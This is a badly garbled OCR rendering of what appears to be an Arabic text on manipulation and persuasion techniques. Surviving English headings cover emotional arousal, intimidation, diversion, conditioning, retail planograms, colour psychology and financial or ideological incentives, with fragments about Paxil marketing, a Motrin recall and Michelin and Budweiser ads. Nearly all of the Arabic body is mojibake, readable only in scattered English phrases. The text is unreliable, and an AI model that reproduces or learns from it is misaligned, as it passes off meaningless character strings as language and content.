(Creating strong emotional responses in the target) ^ qa\H\ t-i^-SI ^ 4JU1jI cjLUI^I jli - 

( ■ UjujJJ (jl (j^-aJ AJli ;4jU£3I 4j3 LaJ 4i!&a jcLLall CajI£ 131 .J^lj <il&!)U L_u3]| Jl ciLHi ^jxi ^^gJj ^J^l ^iaUJI CjI i\ aJLu^VI J-aJjj 
tA-nLoill jcLauJU jljjJaVI ^IjouI Jc (JjjJ (j^aJ^)^. ^^C-Lal^VI (jjjAi^all (jj^J (jl t % _<J ^aLaJl <K aUjcVI ^aUaj JJJ*J J L_flA^ll 
A uaAi^Jl c flA^J SAlLa (jj^J (jl (j^-aJ <JjixJl jl (jl^S (j-a L_fl j^Jl (JjjLojI Jc *UiIalc JjlS A j^j (jjlaj ^^l CjI£jj£j]| aIAsJ mU ^j£J j 
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(Heavy intimidation) J^SSM ^ jSM 

jludJ^xJl ^jaa ^ 4(_£^)a.l .JaxjJall lllaJ L_flJ^_!l ^ jjuj CjI Ja.V L^ljaJLuil j£-<J L£^>^^ a ;* - gall L_flj^)Iall jl ^ LudaJI ^JVI j* L_fl jaJl 

4^1 liA ^AjjUJI ^UlaVI 2L*%1I J jalj 4«4iS£3g jJJI ^^klaij lil VI Jjj^' liA j* I jiajj V j^UlaVI 

,6JJJ^L<Jl Alftla^Jl 6jl uiaJl jcLuUi J JJJjuJI L_fl jaJl ^JaLuJ C-liJ AJalLuJj 

Jj j& La .(iLajujI Jc (_£jLb La (j^aauuij A-aa.jj^ ^J^- <J^^ t^g.>.»L.»VI £>l jlLuixa Jc Jja. ( fljiald (JjjJ L-lC^yLill 6 jLia.VI Aiaa a ^£ 

.AllJUJ <LjiaJ SjjjjJalb (JjjJ jal j tiL L_JC^d3l ^aJ j£3 "?^JU ?? AjI Vlm^t jl (^jLLaII jai Aajj j JjJJ ilj] fijlc ?iU*i 
LI ja. j Aj£-aJj tiLajojl ^JoaJ iliac ;^LaJl l— IJaJl Jclilll JdC L_lJa. La -laa-V .LLaC j5al L_ic!^i3l (_£ jaJ (_£ jlauJl Jc 

A_Jc ^jliall ^jujVI j£j ^3 |j) j\ A-JJ jj^all Jj jJ ,ha> JJ> ^5 AjJ JJ^all AjU l^VI J t-il jaJl IjA jJJ Aa!>U]l .("?fju") LuUlj 

# L_j| jaJl AcLlfc^J ^ajli (iliac jU VljJuJ > " lij tUi ^ uJ tila IfrLuJJ 

jj^J (jl ja-aj ^jI j^ll .4-jl j^-ll AcLi^ ^Wqtl t . Ujujj l_a jjoj 11a jli (JIjjuj t"it am ^aJ AjjLa»-a 1 nj JJ^ UJ > ^ L>* 
d ixajuj lil .AjAAjII ojjj^a J^A^ ^ J^d ^ U^ 1 ^ ^ Cp- UJ > ^-^J l\l .iliac- 

^jouJI jl t^jy^ial! 6^-L^.^ll jjj^j t^^lall ^ill ^-L^.^31 ^jc <jIcj jj>^>^ >*>i 
.{conditioning) c ^jj^^l uj^ 4-^c.^ll j^-l ^Wi^'i ,4j ^Liall ^l^^j La <jI^ jA l_ic!^j3I ^ ^ jill liA 

^jIaj] f-^g+ii j£i ^aJJ J£ ^ tit .L_aial ^xJt j jcLauJl ^ dj|^l^)^.yt jl CjI jj^VI (J^asU JaJ^l oLl^-d (JJ^ (J^aaII ^)-<i (JjjUII 

# Cj jj^II li^ ^ ^L^jVI jj>*_Jilt -laj^l t—fl^ll (jli jj > -^'^ ciia j ^suj t^lall Sj^j ^.At-nj (j^rs >*MI (jli 

Li (JIjjoiII ^aii .^Luj Jj^a dbuja jj ^^lill j jlsL ^-i^>.>ij L»j l_a jlsL (jlijj (^\^ ^1) c 4 jfLj > >i!^ll <£L<iVI j^l 1^.1 j 

^aJaat a CliLjl jl C5 ic Clbanl ^jLlS JLoiJ 4 fll^A Vt cJ*^- (jl ^ ^C- jll ^Ic- .(JJJ^H L_flJJ^lll ^ ^ jill I^A ^I>1^LujI (j^J (jl£ lit 

^jl| <Lj]allj dL^AxJt (j* A nt ^ Cjlc ^ ^^ic ^jll 1 fl>^Jl ^ a .^^) ^\^*^ (JJ^a ilU^ < ■ ul£ll <jlc^ ^Jj)" (^C-Lu^-VI ^J-"^ ^11 

^jja jl (jjjjaullj JUcVl ^ c_jc^j3I AilftVl c>aau j3 jj ^Ij 64_ilLill ^LuiSVl *^ljL ^Sa ^<jL^VI C5 ic jjitll U^jjj 

^ - ^ udll ^ jJjoIaII (^Ic L_ic!^i3l ^I^JjujI (JJ^Jj 4-uliiLi.ftll ^JjjLujVI 

To Recall or Not To Recall i- 

.^Lua!>11 Sj;iL<» 4_^a dboj jUu ; Mj 4qj^ t ^ 2010 ^ 

http://www.washingtonpost.com/wp-dvn/content/article/20 1 0/05/27/AR20 1 0052705484.html 

Vj (j^JJ ^11 (j* 4 JJ* * 4-*a^ t"ia.**i<l t^^^VI L-Jjjuall AJj^I JjLuj ^joj ^jxi tillJjij tJjj^lliJ t^jjjJ j>» 4(JjiiLLi JliiaVI ^lj^ I j» M > *a 

?a£jJo3I l_jI ja. ^jl£ liLo . J-oxll 11a Jlo < a^ISj < . uju^j illi ^La.jloj|/^lc.^laj| ^lj^.1 ^jj^jj 
j ja» ^<JI (jjjj j-<JI ^j^> 5-lj^i o^lclj ^>alxi ^1 ^>aJL<i L_jlAil3 (jj^alxl<JI lj^ b^c Cj^aLLujI a£jjoJI .l_ic.!>Ij3I ^Ia^j >>iL I ja\a 

b'^& ^^ic ^ ^>ail<Jt ^a.1 AijJ (jJ^alxl<Jl ^a.1 (jiaikl Li^C <iaaJl -laUa.] ^2 6L_Loj^U .Ia jJ-a^J ^aJJ (jl l^jLuj ^jxi ^^ill j 6 j^l^ll 

.(FDA) (Federal Drug Administration) ^^UJVI ^1 j^ll ^JaLi ^^Ll l^a. ^ u^j 6 ^ ^^>^ ^aj^l Ja j^aJI 
Laa 6^1 j (<xi^) <LiLulS dia^jloit c _^j3Ij Cjla.la.j3l ^ (jjJ^ 136 ^^j^-^ ^L^3I a£jj^3I ilii J-^; FDA duli & ja.VI < ; uLaJI ^^Ic 
Jxill j jjj ^ jl£ jjill £-^j3t j JLaLVI dVLa c> <SLa 775 cjc ^^Vl ciiia. CjU ja jl jVl i^J^Sl . j^i <sujl J^l <> 
AliuJI jjjj a ajjj djLa j3l ciijl£ lil Lo Ajtiala lIlolJ jjjUj3I .Sla j3L I j;j- ^1 CjVLaJI j>» 37 ^ 6 ^ <xajil dj^J AjjLuJI 

.Ua jj^jlill Ija (JjjJ .jjjj ^^ic J*a jj jl 

A aaLoJI L_jUlja.VI (jc ^5-laaI] dJxluax LgJl A£jJa3l 6JA ojjj^a AjLaaJ .(JaVI ^^-Sc c_jc!>Ij3I Al jLa-xi jl 6L_lC^Li3l Ija. allax JLla IjA 

<^a CikLojl c _ ? j3I jJI diJiaL .^jLa. ^Ull jljaa AjIqc ^a j ^Uaill ^a c_jc^Lil3 a3 jLa-xi L^Jl .^JLlSI ^Lail ^a ^a jLilaVI ^!>Laj j 

e Cja jll j-a <Jaaj ^1 ^a "(jjjaJl j-a ^cUxJl L-Jauuj illi jaJ ^aJC j AcLajV ^clL<Jl ^IjAj ^Ijl (jJjaLxlaJt jl£ c flj£ jal<Jl 

(jl (JaxJI Ija t . ujuj (jl (J jilL ^jJa jll (jx» l_j^j31j cIlqI _^Lua!>1! SjjIxJI L_ic!)Li3l < il ^j*^*^ j* jjj*JI Cjjjaij L^Jl AajjaJI t " << . tf ^1 L»jic 

J ja. jj (jjjalsu V ja^jljfa 

djjaJ Cilia. 6L_jI jaJLaaVI ^LjI m( ^k ^yflJ^aJl L_ic!>Li3l ^.La. ^aJ . (jjj Jjiiiill (jJ jjjouJI jLa (j-a Aim J^)Ia j Liajujj lj|j!icl (jUJl IjA ja j 
A-a ^ftC- ^a!\ 6^)^)j^!La]| Ajtajll uaj 

CJ jLa .AjjojLL<JI dj|^l^)a.yi CjJajl ja a£jjoJI (jli ( . ux a ^cUxJl (jl jjjj Lajixa .L^j^ail AjjIcIj ^clixJl ^IjjoJ (jjjalxld J ja. j j!>la. (jxi 

Lui (JjJaal jjjj AixaJ taa. Ai jU ij I Lac aliuVI cJ^j^^ '(diversion) ^^Vl/cijj^^l c_ic!>Li3l (j^ Aiiaj ^1 laJLujI a£jjoJI oja 

(jxi a£jj^3I dula ^1 jUaVl ^ I jilla.1 jjill ^VjA jj^°' ; ; c_ic.^j3I jloull A_uaj ^Jajjuij Aili ttSlli Jl AiLjaVLj .AjIc (jla 

.gjlJl liA ^la.jlaj|/^lc.jlajV Aa.La cSUjA <jl£ lil U jjja^l jLla.1 Jxii jl JjLaj a£jj^3I jl CjLUJI jljj^al JiLa. 

AjjL <^a-Lua lAa-a 
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AaAaJ ^ jjjSj ^>i-^al (jUaj Jaxj j) ja^aJ (diversion) *^WJ^P^ ^u^UaII ( jVi"'J L-lC-itill (j* ^ jill bA 

(jl (j£-aj (j^j^aJ <^llj ^jilaili] 6.113* Cj^ j3>j ^ *4_ia (jjaJ (jl VJ */ , J V (j^-a jl <alai-a <iL (ilLobaVI ^2 bl .Ljajl 4_L^auuaJl 

oil <JjLlLa ^^llll <S£jouJ| JJC. jaJ ^^^juj Jl L_fl^Jl £>Llj| <JjjaJ (ja\*J .(j*VI JjJ-alL till ^■-■a.uul L_fl,^_lL L_ic!yllill jaJ ^Ljia Ua jjuj ^laii 
^>^i jl ^ V^J <c>Vl L>*jL*. c> ^ cilLauiVI ^5 oja Cjb L_u£ bl 6 JLlall JjUjoi Jc .<! ^LuA^I jJ S^lcV y?*^ ^ ciLk*^ 

^Jc. ^5 ^11 j dj^aa as USB lh 3 *^ cl)^ t><1 * ^ >>1 ^ ^ jSl La £^>*^ ci^" !<J j^j j ^Jl * j'-^j ^ ^ * "jj iiljla tUf^c 

J aaJI J l— la y (jl Ajjj <Ja .AslII J ^LaaJI C5"^ U' <-M* (jl ^ all (j-aj ?lla. *Lat-A CjLLij 

C5 l^.) c_ic;^U3U ^ Jaxj duli a£jj^3I jjjj ^ll j (.(Motrin recall story) oufi ^l^ALJ ^aj^ ^1 ^£ia j^l Lajj 

^IgJVI/JjJ^I flAkU (j^J < jll llA (j^JJ ' J^ill (j^ij .tilli (j* £ JJ^ *l J^Vl Jc JatiaJl <JIa»JI j ^.-a^VI ^Uajll ((jVl 

.l_ic.!>Ij3I J jloaiill j 
(Anxiety Cured at Last) >Vl <J ft JBM ± 

J ja. J^fcLaaJl "( qjqn" lJ^j ^j^l CjSUat 4^JUll ^ ^Jj^Vl CjI£ jJi jj£I ^> S^l j ^UliJ jj^^j^m 1998 ^ ^ 

cjlc^^lSalajlj Ajiau^al l (j-aj^ll ^ 50 cjc jjj diia. "(social anxiety disorder) ^Ui^VI (jlSSI c_j| jiajJal" c_j A^i^j U 

c_j| jLjJaVI liA ^ ^Ull" t flJ^JJ " Cjl^^LkLaiVlj CjljblkVI DiA -Lia.jJ ^" ?^Uia.VI jfill c_j| jJajJal AiA Ja" Jla ^1 
AjjIc^ Jl CjI aKII Axj L?J^ L?^^ cJ^iit) jjj^ jjJI) ^flall Cj!^a3I AjLjjouII <LaJl Aauaij Cjj^ ^LxJt tilli ^> CjS j ^fl 

J jVl glLuJI ... (ji-aj 4il ^AjI" "lSJ£^! oiIjjuijIIj t^J^JI djLljJajJal j 6c_jLj£VI ... ^^J^ C5^S cJ^L" t> ((u^ 

Paxil means peace- -in depression, panic disorder, and OCD ^ Show them they can- -the first and 
only approved treatment for social anxiety disorder 

J Uk* $ 30000000 ^jfcG^j ^ d^Ua. j^lSal ^ 4999 ^ ^ .jVj^ uj^L 1 Jlja. a£ ^JJI jj^I 11a UJ£ 

L5 ^\ CjI jLlkVlj 4-JjL^ajjujVI CjLojIjJI (jxi CjLLnll ~\ laJLoal J .(Jjjoi^Ij 4^jojIj t^^cLua^VI (3^^ 4jl^)iajJaV ^^C- dj^j ^ ujJJJ ^jJ^l£liAjuj 

C5^J^^ 10 djUjU^a^yi djS jll tilli "o^Loui jii^VI ^Lijjj^^ o^j^*^^" (j -0 lP 3 *^ W^j^j ^j^JI ^ dulS 

. t>1 cilLiA jVl J ^W^L (^Lua.VI jBll L_il jlajJal) SAD (> UJ^^ 
Ajj^bU o^loll CIjLV jll Jjjjuj ^ ^.Ij dla^al" A£jj^3I iJjjoJI J^l£ ^ c L^alll S^Lj JjJua£L Cj*L 6 2000 ^ J jkj 

FDA -Uat j-a 2001 ^ .2000 s^paJI ^l^a jll <a^iij serotonin reuptake inhibitor ^ <^ j^JI 

^^Jl ^jLJ jlajjalj (generalized anxiety disorder) ^1 ci^^ j^-^ ^ ^ 

.{posttraumatic stress disorder) 

Cj& jll 11a J!)Lk .(jlill jjalic^j (antidepressants) cjbLja^ ^nUl djlL^a jll ^ s S^Lj ^ 1 1/9 djUaJi cj jLojI 

# djLaa^Jl L-jlscI (JjjUII (j-d l^J ^>*jai <^ll 3^^^ J ^ J^ r * *OK^ u1 ^ ^ ^ jcLauJ ^jJa j (Jjjol^lj (j^C-j 

l^j (jjjoJI ^ L_ic.iljll IIa ^ Ujjuj V ^Lua^U <!UJI ^1 (j£lj t jLja jA a£jj^3I ^ab J\ J\ 4 J-osu V ^jj^Vl jj Jjal V LI 

# (jjj]a]! <J j!a ^^Ic o^J^. CjLljIajJal ^jlk (j^ cdjlst-UxJl d^L j Ci^ljlj ^ilxjll £a 

- ^ uJI ^ jloi^ll ^^^ic (^^i^j <jajLjaill ^a Ljajl ^ laJLujj \ * j^Ij ;(jjjja£ill cJ^-?^ ^ ^Lj ^a l_jc!^j3I (j>» ^ jill b^ ^ laJLu^j L» lj^ 

dilak .^Jau^a jflj La bLJ SA-gIolaII "(jjlaaJl" (jj^^J cilli Asu (j£l j 6L_liA j ^jll <KAa1I (jiajxj 

JLii^Vlj L-L^ail l aJ^c ^ l^j j^ ^aJLujj I jjl£ ^^-Jj ^aal ^ >iklujj jl£ diia. jjjLjjoj qixIi (jjjuoLj Jjj ^ '77i^ Real Hustle 

1 jaJLall ^l <J jj (^^joba .(J jj^ jll <!ajjail! J^-J ^>kljlj ill JsjcI jaJLall J-alc Cilia . jaJLall <j-a CDs a ? * s ^ (j^aljSVI (J^axJ 4ijjoil 
iaJj 4^1 "JU^I" ^ IjjlS jl£j 4ciUi ^ <!U]aV 6 jjjk-sa ^ja^-a (jl^ Cllia> ^^^juj (_^l £-a Ajjaia> a (jia-ajl t^Jajjuj 4_j| ^^g-lc 4 > o^J L_fljCj 
.<llaJl e\iA l_JC^Ij1I (j^ £ jill b^J jUa-a JLla ^A 3 > ^ajll 6^A .(jialjjcl ^1 jj^ tiljjj 6 Aj^ill Jja, > ojl jLall j <a^a^all ^j-aljSVI 

Aia. (j^aauui (jc 3JLaJl f.Lb 4 jJjlliuaJl ^jl£ LI .<l£jaLall (^^Jajjuoll) JaJl ojLjcL 4juoij ^a^a j ((jjLuJl ^>>*^l) ^-S^ju^II cJ J» ^— ^ 

.<J L^^ill J jUj ^ill AM V jja L_llkll JxaJ <JLJI fiiAj tciLlla Jja 

(You Can't Make Me Buy That) ^ isj^I 0> d V ^ 

<jl aulal jl^ill (jiajC j^JaJ ^^JajllaaJ ^jojJ jA j (plaUOgram) 4j*kLa 6Jjj^" (^^^J ^—U^^ IxjJa j .CjjLa£ 

e lAjJC. (j-a jj£I ^.Ljaa j ^IjjuoII Ajjj 1 \t ^ j l^J^Luu L_JC^U13 ^^a^l jJjLt-aj t^la^VI j (jl jlVI (^Luji 

.^jUjIIj c^j^ll gSiJI 2-xiaj (jlaJ JS*Vl Planograms ^ ^> ^ ^ 
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.(jjjaaiill ^jjS jjolLJI e-LLI ^^ic ^^j^a^Vl j^^i planograms b '^& j ^ CjI^jJJI j tdjU^jJI 

^ dii^ s^u ^ J^**^ J^jj sijj] : (Horizontal product placement) ^Sil ^IaJI 

Placing the same or similar items in a horizontal row, as shown in this computer generated planogram, increases customer focus. 




guJ\ ^ j .^-J j ^iiJI ^ j ^ v^ . rt* : (vertical product placement) t^aj 

.^joJ 30 - 15 4 alia A CjUjlalxi ^^ic L_flJ (jA Jj£! ^^ic ,1^.1 jll 

Products are grouped together to drawn the eye to items they want to sell 




.(AjjUal! CjU^UJI) ^ tiljixld ^\ cA<Y)a\\ ( * J ja j :(Block placement) 

Another example of a few different types of planograms being used at once 




4 https://www.facebook.com/tibea2004 
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is* \j& ujA^ ^J-^jj jU^ '(Journal of Business Research) 4jjW^I cjj^I ^ 

^ jjV J£*^ uj^y^ . ( http://www.ryersonxa/-rmichon/Publications/Ambient%20odors.pdf )(^^> ls jW^I 
^iil <j| 4 d±jl£ .^IjJall ^ ^-^-^1 j S^IxjuJI ^^jj jl (jiajiiixJI jx* jl£ ^ill j £ I j^J! ^ L ^ij > ^ <>uu^a>JI (aromas) 

# ^ jjjuj! oAxJ <joj! jJI tilli ^ ^jjjaiid <J£3 j5£l IjV 50 

jx» ^-^1 t-^i^rtj ttilli j . jVI 4_jaiaj jj^j V ^— fl jjuj CJ^U^J ^Jjaull j£l JA C*L 4_^UJ| dj^U Jl 

;L_aial j*-llj jcLauJl A^JIjla] L_fl jSjl ^ilajj ^^Ic JJjJ jl j^-aJ t * a J^ J^C ^ s-LloiVI ^jjjUII j^-aJ t * a J^ .L-JjL^llllj 

.^tlLall jl ^JjUqj Lo£ jl jlVl ^Jc- l^juoij ^^Ua3I j-a ^j^slSI ,L_fl^Jl L_alal ^su L_ic^dl3 Ajjolijj 4-Ijjuj j 4 jl jWl jj^a ^ <J 

^Jj Uu3 j .I^jIjjjIj j (j! jlVI ^^Jc Cj j^kJl j* J^^l ^ J - c (^c- J^jH jl ^ AaJLaaVI jl p-I^jjV Ia jllkj ^jl jlVl 

liA -C jUjVIj J^Jl tilli^j ^U^Jlj (>»VLj Jj>^1 c^asu 4il .Ailkillj 4^ jj^all t^laill ^ laiijj U [(white) (J^^Sf) 

i^cj ;<iaLa3l ^l^klajl .s jillj ^-Slj 6<aUVIj o jill J^j U j jjojVI :(black) ^ j-^^t 

^>^a (jc; JjSj jl-aj .Ailkll j 6 JaxJI j i Jlil^VU ^ c ^i« jjl <jl J*^ J *J^V t° J^^' -WL^ l(fed) J-^^l 

injtVnj (j^i^ ji^ii jl j^j . J-<^ j 6 j ^jc t^-ijiLaJI j (jAa^JI j ^l^JI ^ JLsjjJ! 1 (Orange) j^S 

^L_flJlj ^>*jaiJ ^aLuIaII l!*^- '^^J^ o^j^c Hi j3 a! <JUj^)J! aIa^j >>il jl j^ aC-^I ^^^ic I ji^ jj^ jl ( : 1 >J _J^^ jj^ C5^^^)^^ 

. J J-^JI J lS^-?^I J j-°VI ^alAsul jC-Loui ^ ^ UakJl ^^^ll jl ^ j^Ul j-« j5^l ttiL (j^aLiJ! ^cHaII j\ till C . iAaJ) j 

.ijlSJIj ojjillj 4 -<^^ j t^LjaVI ^ iaiijj s^lc :(gold) c^^t 
jl y : M t . ujujj jl j^j .ojLjaill j ^Vjllj ^->^jll j <^jill j Jjlijll j Ailkll ^ jL^aVI -W^j :(Yellow) ji*^Vt 

^^jj jl j^J 1 0 jjir > ^1 L—^LiA^J ^a^JjaiJ _(?^)ij^VI jC CjUa^^LJl j-d ^)_lj£Jl ^AxJl li^ liUJ^ (j^akjaJl 6J^li J^lj ^^1 jQ^ 1 

^)T.U1J jl ^J^^ill jl^ ( *° 1] t . UjujJ jj j£-dJ J;^^! j^J 6< S^^-?^I ^C'Ujlxi ^1 

jl j£^j ,^^LaJI j cAjI a^W j t^- j^inll j j oLi^JI j ^Ujll j ^IjjJakJI Ajt-uUl -W^j^ ^ lj^ l(green) j<^>^Vt 

jl a jl^cl du^Jjoal Lq lij ^JaAxJlj co^islSI tL-U^a t^julaJlj ^)T_>.^jj ^^>a3I (J^^j jl Lxiajl ^ i£ <Lj j^j ^>^.l 6 j^3 ^jJakVl 

# jjj£3I du^Jjoal 

c^j^JI j 4'qj'q^l j (jjj^JI j ^cjIjIi^LujVIj A^aSi^y* uj^ .CjUaji^JI j ^.UijaJI jjl ^ (jjj*^! -W^j^ I (blue) (jjJ*^^ 

,(jiajVI 4_iLaC ^UajV lij^stxi jl£j Aj^)JJj 1^. j& .4i^>sLxJlj ;4iUa3lj i A a - ^11 j 

eL ^a j t^l^VI j 6lJjj3I j <*!>tn31 j tt^l jLJI j^jVl :(Purple) c^U^j^l 

jji^. tilUA jl jcUlxi (jlaJ jl j^JJ .^Uaillj tAjSlijVI ttillj^VI ^4^^ 6 ^ ^^^J 'Lpaj*^ C5~^^ -W^J^ l(brOWIl) (J^^ 

A \^\\\ j ^jjjLud^l ^ jl 6(Jj^lLd jl 
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6^1 a ill JjJaSl fc2L.il UJ^ lJ * * ^ J (J^IaJI ^ J?£^ Cj^UI laJiaaall CjU» jlx-all ^I^JjujI fc*L£ &J tilli .£>Jjuj till 

(JJ^JJ t oj<j ^jj^lajj a - *aJJ (_£^llj 

Jc AjJ^S (j* ^JJJ Ajl^JjV IAjII^J jll (jl jWl (jl (j* ^Slj J AjlclLull aJJ > 0 (_£.iJl J L_fl^Jl (Jjl^J ^JJJ 4il ^^cLdl^VI (JjjV^ <^l (jLuJ (j-G 
(Jjj.V^ <fl ^C-LoiJ (jl (j£-oJ ^ j-olall jl £xJall jcLuu* jib J§ jjJakVI (jl aLlII 6<JHall J^f^ ,^4j* ^ C J lW-*j11 

£xa (jlajlxJJ t aUl ^slSIj jcLuuJl jjJa^JjuiJ j3 4il l—U^ ^JJ^ A)* ^> ^Lai^.1 J jjJakVI ^I^Jjl A.iC JJ^J (jl J ^^cLal^VI 
lajjaaall . j5£l ^Sal ^ ^ a all ^-UijaJlj J^^J l^J (jj^J (jl 'l5^>^ L ^p^^ ^ L ♦ ^ (Jjj*^ pl^jl .<JJ;liJl <jouuj^<J| 

,tiLJ Ajcl <lL^.VI ^ i 0 II (J^^J diULaO ^l^J (jLajJa J ^C-LolJ (jl (j^-aJ fc-lilLoiVI *>i& (jx» <J jistxJl al laJLu^VI j (j^lii^l 

(Conditioning Targets to Respond Positively) ^Ia2m5U <JtaSM ^ 



ciu^ ^ jlaU Ji* UUj .t-u±kll c_ic;^d3l ^1 (Jjjjuall Jl aj^UJI aj^I^JI (j* J£ J (conditioning) 

.(jjiic!^!^! IaAjjj ^^jII C1jUIj^.VI il^jV (JjjUII A_nllc. <^Jlx>J AjjJlJ! Ajt-uSall unj Ij^ j jiJl (J^asu Jc Jjll (JjjUII <li^J 
^clLo Jc. 4_iic.| ^Uc. ^ L_ic!ylj3l ^jj ^3 ^^-J ; M L_Lila3" ^Kjj CAi! ^loj t^jj^ju^JJ L_fl jjuj JlilaVI (jl (JjjUII ^J^-C- sialic I (jj^J U»Ajc 

JliLVl ^^1>>n a£jj^3I CjI jiaJ .( JU3I J£ai3l jkji) j!>L^ Cj^^U^/CjIjILI 3 n^ll ^1 Ikloal 4JiaVl c> 

^cJilJI ^ jj U^ixi jj^II I^jJ CjU^VI ^ jSl ".^ <^UJI CjIjILVI s±£ jj ^ jj^II c^Ua jV" ^liUJ .l^U^I 

Ajjj ^ic (ill (JLSj Lg Jl V UJ^ LS^" ^ a^LoiVI £>i& j tA^L^jj JslS J J^J^ Cj^UjuLq AilalxJl (jl J.^jt m (jj^J j 

.(j^-uLi^ diljUal <_£JJ Ld^ic SAixjuj jcLouJI j (jj^J (jl J jJ^fljll A ngM J^ ^JJ P 1 



MICHEUN. BECAUSE 
SO MUCH IS RIDING 
ONYOURTIRES. 





[u ii ilS ^ gy*Hbrt iytMi, 



^< : .,M<\1 c_jc^!^j3I ^ Jlla liA .4jj1^j3I 4^^UJI tilt ^ p \it > Jl 4-ijUjVI j^LUl cSjLoiJ cillx^J CjljUaVI L-IjUj Jikll Aj^j 

uJI Cjli ^^lijjall tills j^^-[Budw€is€r) jj^jj^ J^^-^ ^Ull ^jl£ Lajj ^ill (Jl^ll lS^^^ j^^) u^^j 

J jjSiill 4 Jl jiJl ^ J^ j ?(<x^ll) Sjjull ^ ^^Ujjall ^ U ?"(^r) ^jj" j "(wm) j" "{Bud) V t° >^ 
li^. ^jjujj V o^lj '^j-* cJj^ J - ^ '^^^ ^^^^-yi £>i& .(jl j^ll (j-Q D^laA^I (j-d <jI^. jj£I (JlAjoaj^iK (jU^^JI 




4 https://www.facebook.com/tibea2004 
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L_A&ij till Cj£j ^ t^jU^ll jilc-VI li& (j* ^ - w; t&l .lP^^ UJ^ '( ( a J.^ ; ^) t^JC-^ll JISjujI (j* jLuall 11a 

cdla-aJ c^iJl ^L^jVI jjxjuJI <il3i (j^^ f ' "*\"J 1 ""^^ j' ^oli^iall (j-a (jjJj£3l ^1 jla±5 l— Lia 6(iLJ all *^J^I cJ^^ (^l 

# £cHa3! Ii& s-Ijjoi J jAj 

s-Ijjuj] till^jjouJU l_jc!>Ij3I c V^j ^jjjouII j Cl ilx-n^li ^3lc ^ <jL^VI (j* '4!uqj1\/^-Ai&1\ ^gk CjI£jj^a3) ai& aA^Lujj 

^^lll Ajujill tl^Tjn 4il Ja jjn^ 'VIjjuj" (j-a Ajjj t^cUxJl £±A (jjjJ ^^cUu^-Vl qu>i,V^ a\\ .4_jujaLL<Jl ^^ic Igjl aJlLa 

<£jSll J^Jl liA ^l^klaiV jit j^Jl U ?c_^^i3l ^t^aJLual liLJ jSl .UiU^V ^^Sl c> ^AJJ 3 ^ J^V'j '^-^ ^"^"^ 

£ jjJa jxJl |iA gJUll ^aill ^ViTj ?fi jkjjudli Jliii 

(Manipulation Incentives) J*tj* *i 

L_1C^U31 J£ (JjjJ .L-JC^J ^l ^ ^Xi^klauJl dA£jj£jll j 6 JJ^illl 6<Ljia3l ji^> Jl til^jJ JIjjujJI I^A ?Ld (J^juJJ L-JC^jU jfll j^Jl ^ La 

.A-uLai jl 4_ijL^jI (JjSj ^jl (j^-oJ J^-^ J ^JJ J^W -W*J^ (j^ J 'cs-A^ 

jcL.aa11 'c-^s^ j' '^W^l tL-iaJI ;<JLJI (Jj^j (jl ■^^■^■j ^3^^ ^c^ 1 ^^j j^-^l ?jaL^JI j& La 

, LmaJlj tDjjisJlj 4-i&lj£3l JiLd A-nLuJl 
.CJC^ljll l^lulaj 4jqj^ j jfll j^Jl oiA *LuaSVl 

(Financial Incentives) JflljaJ) 

.^jJLojI ^Ijj C5^^ j^^ 1 

IjV j^ 20 j t(j-<i^3l ^y* dj|^)V j^31 cjHo (jjSiii ? jjill ^^^ic jj^^JI J^l ^^ic ^jj J£ t . LL^ajLJi l-j»J (JjjUII ^£ 

jl jVj^ X cJ 1 ^ t ^^" < U^*^ u3^*^^ ^ C-H 3 ^- <-J^-^ ^cHaII 11a ^jlau lil ^Loakll 4_JUJI jal ^ Clin^ <Jll<JI 

^jl£ tit 4<Jll<Jt J^f^ ,*^Bi (J-i^tJ L_fl jjuj <JjLujtj AjLatj^ ^UlUj 4^ > <a1 ^ <JUi L-LujI^Q jA L_lC.^\j3t at iklLujt ^ J^^t ^ig^Jt j^l^ 

L_fl jjoj dl^.yt (jjjAl^xJt 6(jjoijVt (jj^J (Jj^aL^Jt <!U» (j-d (J^*^ AjSjLuiaI 4iAA ^^Jc. <J jj^^Jt jA l— Ul^Jt ^^Nfi ^jjjAl^xJt c 

jt Cjlc^)ii3t (jC cJ^ 4 ^ (J^ JjJ^ *^>^t t^A <JjujLLq AjjjliJt CjUJal<Jt JiLd <jLJt ^jt "^Uuualt" ^JJ > o ^^ilt ^jt jilt ^Aa^LujJ 

jlUJt (jc I^jIa (JjjJ -LilL<Jt CjUi jlx-<Jt 

(Ideological Incentives) ^jJjrttSn j^ljaJt 

^jl£ tit , jsL^Jt ^^^ic S j^t tilli jjjii (jt (j£-<»jj allkj (j^>^ >*>i J£ S j^a (jt j <jjt > ^> ji^Vt 4^ jljj^j^t jat j^Jt 

(Jasu L_fl jjuj _tiliila jxi (j-d ^t (j-d a It (j>» ^3^^ t^JJ J J^ 3 ^ itcLuJ (J-osu L_fl jjujS .tiliiuuj jA \ Am J^ *^^^l 

_Ia^ <ilSaj 4il ^-lA^Jt (jO JtiL (j-aUJt ^aWI jt ciUk <jV 6 JUt (j* JflV l^jt 

oi^ ^ajujJ LdAic <Jjuj (jj^J (jt (j^J (j-^kjujlt (jc 4jj^a3 ^Lijl^t Cilia (j^akjujjt ^fl <juj^su>i (jj^J (jt (j^-<^ dat ^ Q *^ aIIj ^La.Vt 

m j£ij U» (JjjJ j ;^aA (j-d < — fll^A VI j (JjjUII (J^asu 

JL5j C5 Ic ^3 jinn L$it£jujl C5 lc jj;ik3t" ;*6jUxJI oi^ t . ujuJI jA li&j 4<£L<»l<i t^l^t j ^^.1 ^j-J c ^i3l ^Jji ^1 (JjjUII 

L_lC^U3l (j^-ftJ (JjjUII (j-a J^5^l C-J*^ ^^1 ^ {j ^ J .^jujSLLaII oi^ 

jj£ij (JIa _l*jft (jj^atjjj (jjiajj <jc. jllj (jLdjVI (j^^l .cJ^^I cJ^f^ (^c- CjlcliVI ^1 jJalila 

oi^ ^1 laJLujI 4 j£ <Lj ^glia jVI ^jjjitill Jact jll (j^Jj 6(jiaxJt ^ - ;^ - al\ ^^^uaJt (JslS <jc. jllj (jLdjVI (JjjUJI ^VjA 

/'^3t l^J c_j j^" (j* C5 li^JVI Ja&l jll <jUaJ Ljajl ^UlUj tjA^jjJ 4u^aLk 4uouji3t ^ A\ A^tj (jl (JjjUII ^USV ^ jJjJ^jVl 

^gicVI J^l dl J^l I J^.^^»1J olc^ll 5-VjA .CljKj/Mt J^J 3 (JJJ^I J Sl^i ^ jxiJl (J^asu ^^aljj jjq^Ml t _j]aaJl ^J-^aJ ^ kxJ L5 LaiVt ^UcUl 
